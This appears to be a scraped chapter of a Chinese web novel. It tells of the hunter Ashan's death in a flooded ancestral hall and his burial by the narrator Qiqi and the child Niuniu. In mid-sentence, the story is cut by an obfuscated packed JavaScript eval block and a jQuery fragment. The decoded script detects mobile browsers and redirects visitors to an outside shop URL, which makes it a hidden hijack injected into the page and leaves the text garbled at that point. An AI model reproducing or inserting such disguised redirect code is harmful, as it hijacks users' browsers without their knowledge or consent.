几乎就在同时——“咔嚓!”
一声清晰的、令人牙酸的断裂声。
不是木头,是骨头。
阿山的右臂,以一种完全违背生理结构的角度,向后弯折过去。
他连一声痛呼都没能发出,整个人像被抽掉骨头一样软倒下去,重重摔在泥浆里。
“阿山——!!!”我的尖叫声撕破了祠堂的死寂。
我连滚爬爬地扑到他身边。他的右臂从肩膀处完全脱臼,可能还骨折了。更可怕的是,他摔倒时后脑撞在了一块凸起的石头上,暗红色的血正从乱发间汩汩涌出,混进泥水里。
“阿山!阿山你醒醒!你看看我!”我疯狂地拍打他的脸,用手去捂他头上的伤口。血是温热的,那么多,怎么也捂不住。
他的眼皮颤动了一下,缓缓睁开。眼神是涣散的,找不到焦点。
“琪……琪……”他的嘴唇动了动,声音轻得像叹息。
“我在!阿山我在这里!你别睡,求求你别睡!”我哭喊着,撕下身上还算干净的布条,手忙脚乱地包扎他的头。血很快浸透了布条。
阿山的目光慢慢聚焦,落在我的脸上。他居然……笑了一下。
一个很浅、很疲惫的笑。
“哭……什么……”他气若游丝,“你……回去……的……路……”
“我不要回去!我要你活着!阿山你坚持住,我带你去找药,去找大夫……”我语无伦次。
他艰难地抬起被固定住起码还能动的左手,那只手也在剧烈颤抖,轻轻碰了碰我的脸颊,抹去一滴眼泪。
“脏……”他说,然后手无力地垂落。
“阿山?阿山!”
他的眼睛还睁着,看着祠堂破败的屋顶,看着那一线灰蒙蒙的天光,但瞳孔里的光,正在迅速消散。
“阿山你别吓我……你说话啊……你骂我娇气包啊……”我摇晃着他,但他没有任何反应。
只有胸口极其微弱的起伏,证明他还活着,但也只是活着。
“救救他!谁来救救他!”我朝着偏房的方向哭喊。
几个妇人闻声跑来,看到阿山的惨状,都倒吸一口凉气。
“快!抬到屋里去!”
“水!干净的布!”
“他头上还在流血!”
她们七手八脚地把阿山抬进偏房,放在相对干燥的角落。我跪在他身边,死死握着他冰凉的手。有人递来一碗还算清澈的雨水,我小心地喂他,但水都从嘴角流了出来。他的呼吸越来越浅,越来越慢。
时间一点点流逝。
偏房里的人轮流照顾着昏迷的李大先生和几个受伤的孩子,但所有人的目光,都不时地瞟向角落里的阿山和我。
妞妞蹲在我身边,小声啜泣着:“琪琪姐姐,阿山叔叔会好起来的,对不对?”
我张了张嘴,发不出声音。我不知道,我确实不知道。
傍晚时分,阿山的呼吸突然变得急促起来。他的身体开始轻微抽搐,喉咙里发出嗬嗬的声音。我慌忙扶起他,怕他呛到。然后,他睁开了眼睛。这一次,眼神是清明的。他看了看我,又看了看周围的环境,最后目光落在蜷缩在旁边的妞妞身上。
“妞妞……”他声音嘶哑。
“阿山叔叔!”妞妞哭着扑过来。
阿山用尽最后的力气,摸了摸妞妞的头:“乖……别哭……”
然后他看向我。
“琪琪……”他叫我的名字,每一个字都像是用生命挤出来的,“听我说……”
我凑近他,耳朵贴在他唇边。
“地窖……祠堂地窖……最里面……有我爹……留的……箱子……”他断断续续地说,“钥匙……在我……衣袋……夹层……”
“阿山,你别说了,保存体力……”
“不……”他固执地摇头,“箱子……里面……有……地图……去……山外……的路……”他的呼吸又急促起来,咳了几声,嘴角渗出血丝。
“你……拿着……带妞妞……走……”他死死盯着我的眼睛,“答应我……”
“我答应!我什么都答应!阿山你别死,求你了……”我哭得视线模糊。
他又笑了,那个笑容,像夕阳最后一点余晖,温暖,却转瞬即逝。
“我娘……说过……”他的声音越来越轻,轻得几乎听不见,“山外……有……光……”他的眼睛慢慢闭上,胸口最后一点起伏,停止了。握着我手的那只手,彻底失去了力量。
“阿山?”
“阿山!”
“阿山你醒醒!你睁开眼睛看看我!”
我疯狂地摇晃他,拍打他的脸,对着他的胸口按压,对着他的嘴吹气人工呼吸。我用尽我知道的一切急救方法,像个疯子一样。
但没有用,没有心跳,没有呼吸,什么都没有了……
那个背我下山,为我挡风,教我生存,用生命护着我的男人,那个臭烘烘却无比坚实的依靠,那个说“有我在,没人能动你”的猎人死了。
为了救那个一直想害死我的李大先生,死了。
我发出一声不似人声的哀嚎,整个人瘫软在地,世界在眼前旋转、崩塌。妞妞的哭声,妇人们的叹息,远处洪水的呜咽,全都变成了模糊的背景音。我只感觉到冷。刺骨的冷。从指尖,到心脏,再到灵魂深处。
不知过了多久,一双小手轻轻碰了碰我的肩膀。
“琪琪姐姐……”妞妞哭肿的眼睛看着我,“阿山叔叔……去星星上了吗?”
我抬起头,透过破败的屋顶,看到夜幕初临,几颗惨淡的星子刚刚亮起。
“……嗯。”我听见自己空洞的声音,“他去星星上了。”
“那他还会回来看我们吗?”
“……不会了。”
妞妞“哇”地一声又哭了出来。我抱住她,紧紧抱住。
夜深了。
幸存者们挤在一起取暖,睡去。李大先生还在昏迷中,但呼吸平稳了一些。
我坐在阿山身边,握着他已经僵硬的手。月光从破窗照进来,落在他脸上。泥污和血迹之下,那张脸依然棱角分明,眉头微微皱着,仿佛还在担心什么。我轻轻擦去他脸上的污迹。然后,我摸向他的衣袋。手指颤抖着,找到那个隐秘的夹层,抠出一把小小的、生锈的铜钥匙。我握紧钥匙,看向祠堂正厅的方向。
阿山用命换来的,不仅仅是一个人的生机,还有一条其他人可能的生路。我低下头,额头抵在他冰冷的手背上。泪水无声地流淌,但这一次,我没
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119590|195952||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
有发出声音。阿山的身体在偏房的角落躺了一夜。我没有合眼,就那样守着他。月光移动,从窗棂的这一头爬到那一头,最后被灰蒙蒙的晨光取代。他的脸在晨光中显得更加苍白,更加遥远,像一尊被风雨侵蚀的石像。
天刚亮,几个还能走动的妇人开始商量后事。
“得埋了……不能一直放着……”
“埋哪儿?地都泡着水。”
“后山崖那边,有块干地……”
她们的声音压得很低,但每个字都像针一样扎进我耳朵里。
“我来。”我缓慢地站起来,腿因为久坐而麻木。
她们看着我,眼神复杂,有同情,有畏惧,还有一丝不易察觉的疏离。在她们眼里,我依然是那个带来灾祸的“妖女”,而阿山的死,似乎更坐实了这一点。
“你一个人不行……”一个姓王的婶子犹豫着说。
“我可以。”我的声音平静得连自己都陌生。
我在祠堂废墟里找到一把还算完好的铁锹。锹柄断了半截,但勉强能用。又找到几块破门板,拼成一副简陋的担架。妞妞一直跟在我身后,小手紧紧拽着我的衣角。
我和王婶,还有另一个稍微年轻些的妇人,把阿山抬上担架。他很重,比活着的时候感觉还要重。我们三个人摇摇晃晃,深一脚浅一脚地往后山崖走。
路上,妞妞小声问:“琪琪姐姐,阿山叔叔会变成土吗?”
“……会。”
“那土里能长出花吗?”
“……也许能。”
后山崖那块所谓的干地,其实也只是相对而言。泥土湿软,一锹下去,带出半锹泥水。我机械地挖着,铁锹一次次举起,落下。手掌很快磨出了水泡,水泡破了,血混着泥,火辣辣地疼。
王婶看不过去,想换我干活:“琪琪姑娘,你歇会儿……”
“不用。”我继续挖。
坑挖到齐腰深的时候,我跳下去,用手把坑底的碎石一块块捡出来。指甲缝里塞满了泥,指尖被碎石划破也感觉不到疼。或者说,所有的疼,都比不上心里那个空洞的万分之一。
我们把阿山放进去。他的身体已经僵硬了,保持着那个微微蜷缩的姿势。我跪在坑边,最后一次整理他的衣服——那件被我强迫洗过很多次、已经破得不成样子的粗布衫。
然后,我开始填土。
一锹,一锹。
泥土落在他的脸上,胸口,腿上。先是盖住脚,然后是腰,胸口,最后是脸。那张棱角分明的、总是皱着眉头的、偶尔会对我露出笨拙笑容的脸,一点点消失在褐色的泥土之下。最后一锹土落下。地面上隆起一个小小的土包。没有墓碑,没有香烛,没有纸钱。只有一把断柄的铁锹插在土堆旁,像一根歪斜的引魂幡。
王婶和那个年轻妇人低声念了几句我听不懂的祷词,然后默默离开了。
妞妞蹲在土堆前,摘了几朵被洪水摧残后依然顽强开着的野花,放在上面。
“阿山叔叔,睡觉觉。”她小声说。
我站在那里,看着那个土堆。
风从山谷吹来,带着洪水的腥气和初冬的寒意。远处的山峦沉默着,天空是铅灰色的,低低压着。
这个世界,如此真实,又如此荒谬。